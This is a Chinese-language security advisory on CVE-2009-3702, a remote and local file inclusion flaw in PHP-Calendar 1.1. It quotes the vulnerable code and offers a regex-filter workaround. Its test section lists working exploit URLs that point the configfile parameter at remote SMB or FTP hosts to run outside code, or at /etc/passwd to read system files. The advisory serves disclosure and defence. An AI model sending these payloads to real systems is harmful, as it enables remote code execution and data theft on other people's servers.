安全研究

安全漏洞
PHP-Calendar configfile变量远程文件包含漏洞

发布日期:2009-12-18
更新日期:2009-12-24

受影响系统:
PHP-Calendar PHP-Calendar 1.1
描述:
BUGTRAQ  ID: 37450
CVE ID: CVE-2009-3702

php-Calendar是一款基于WEB的日历事务系统。

PHP-Calendar中存在多个绝对路径遍历漏洞,远程攻击者可以通过在提交给update08.php或update10.ph的configfile参数中的完整路径名导致包含并执行任意本地文件。以下是有漏洞的代码段:

    36  } elseif(!empty($_GET['configfile'])) {
    37          if(file_exists($_GET['configfile'])) {
    38                  require_once($_GET['configfile']);

<*来源:Juan Galiana Lara (jgaliana@isecauditors.com
  
  链接:http://marc.info/?l=bugtraq&m=126141951132353&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://site/php-calendar-1.1/update08.php?configfile=//servername/path/to/file.php
http://site/php-calendar-1.1/update08.php?configfile=ftp://guest:pass@site/path/to/file.php
http://site/php-calendar-1.1/update10.php?configfile=\\ip\path\to\file.php
http://site/php-calendar-1.1/update10.php?configfile=ftp://site/path/to/file.php
http://site/php-calendar-1.1/update08.php?configfile=/etc/passwd
http://site/php-calendar-1.1/update10.php?configfile=/etc/passwd

建议:
临时解决方法:

* 更改update08.php(38行)和update10.php(35行)中代码过滤$_GET['configfile']变量:

if (ereg('^[a-zA-Z0-9_]+$', $_GET['configfile']))
require_once($_GET['configfile']);

厂商补丁:

PHP-Calendar
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://php-calendar.sourceforge.net/

浏览次数:2408
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障